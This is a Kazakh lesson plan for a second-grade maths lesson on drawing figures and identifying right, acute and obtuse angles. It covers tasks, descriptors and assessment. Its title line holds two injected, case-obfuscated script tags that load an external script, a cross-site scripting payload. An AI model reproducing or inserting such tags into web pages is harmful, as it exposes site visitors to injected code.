Геометриялық фигуралар және олардың өзара орналасуы<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

26.01.2022

Сынып	2 сынып. Мұғалім: Онгарбай Ж. Мектеп: Өзен ауылының жалпы білім беретін орта мектебі КММ
Пән	Математика
Бөлімі:	3А Бөлім. Геометриялық фигуралар және олардың өзара орналасуы
Тақырыбы:	Фигуралар салу
Мақсаты :	2.3.1.1 бұрыш түрлерін (тік, сүйір, доғал) бір бірінен ажырату және атау/тіктөртбұрышты, шаршыны, тікбұрышты үшбұрышты мәнді белгілері бойынша анықтау

Жоспарланған уақыты	Оқытушының іс-әрекеті	Оқушының іс- әрекеті	Бағалау	Ресурстар
Сабақтың басы	Психологиялық ахуал қалыптастыру. Оқушылардың көңілін сабаққа аудару $Описание: C:\Users\Admin\Desktop\img1.jpg$ Сабақтың тақырыбын хабарлау. Фигураларды салу Оларды атау $Описание: C:\Users\Zhanerke\Desktop\20220119_171924.jpg$ $Описание: C:\Users\Zhanerke\Desktop\20220119_172436.jpg$ Сабақтың мақсатын айтылады.	Оқушылар қайталап айтады	Формативті бағалау үнемі жүргізіліп отырады. Шарлар суреттерін тарату арқылы бағалау жүргізіледі	Оқулықтар суреттер Кеспелер Сызғыш қарындаштар Қайшы Қағаздар беріледі.
Сабақтың ортасы	№1. Аяқталмаған кеме үлгілерінің біреуін таңда. Суретті қалай аяқтау қажеттілгін досыңа түсіндір. $Описание: C:\Users\Admin\Desktop\кітап фото\IMG20201128130745.jpg$ №2 кісінділерді өлше. Берілген кесіндіден 2см қысқа кесінділер сал. $Описание: C:\Users\Admin\Desktop\кітап фото\IMG20201128130745.jpg$ 6 см 4 см	Дескриптор : Аяқталмаған кеме суретін таңдап Өздері аяқтап салды. Дескриптор: Берілген кеінділерді өлшеді. 4см 2см Кесінді сызды.	Формативті бағалау үнемі жүргізіліп отырады $Описание: C:\Users\Admin\Desktop\изображение-темы-воз-ушных-шаров-32001679.jpg$	Оқулықтар суреттер Кеспелер Сызғыш қарындаштар Қайшы Қағаздар беріледі.
Сергіту сәті	$Описание: C:\Users\Admin\Desktop\img7.jpg$	Балалар бойын жазқып сергіту сәтінде қимыдап ойнайды.	$Описание: C:\Users\Admin\Desktop\изображение-темы-воз-ушных-шаров-32001679.jpg$	Көңілді әуен ойнатылады.
	№3 Суретке қара. Ол қандай фигуралардан құрастырылған? Суреттегі бұрыш түрлерін ата. Сүйір және доғал бұрышты сыз. $Описание: C:\Users\Admin\Desktop\кітап фото\IMG20201128130752.jpg$ $Описание: C:\Users\Zhanerke\Desktop\20220119_172412.jpg$ №4 Карточкалардағы сандарды кезекпен бос орындарға қойып, өрнектер құрастыр. Тиімді тәсілмен есепте. $Описание: C:\Users\Admin\Desktop\кітап фото\IMG20201128130752.jpg$ №6 есептерді шығар. Қыз – 28 ? Ұл - ? 12 – сі артық Шешуі: 1). 28+12= 40 ұлдар 2). 40+28= 68 оқушы Жауабы: лагерьде барлығы 68 оқушы демалды.	Дескриптор: Ол қандай фигуралардан құрастырылғанын атайды. Сүйір және доғал бұрышты сызды. Дескриптор: Тиімді тәсілмен есептеп шығарды. Дескриптор: Есепты оқыды. Оны талдап, шартын құрастырды. Шешуін шығарып, жауабын тапты. $Описание: C:\Users\Zhanerke\Desktop\20220119_171809.jpg$	Шарлар суреттерін тарату арқылы бағалау жүргізіледі $Описание: C:\Users\Admin\Desktop\изображение-темы-воз-ушных-шаров-32001679.jpg$	Шарлардың суреттері
Сабақтың соңы	Қорытынды кезеңі Фигуралардың түрлерін салу	$Описание: C:\Users\Admin\Desktop\hello_html_m15b4edc.jpg$	$Описание: C:\Users\Admin\Desktop\изображение-темы-воз-ушных-шаров-32001679.jpg$	Шарлардың суреттері
Үйге тапсырма беру	№5. 11 бет	Балалар үй тапсырмасын күнделікке жазып алады.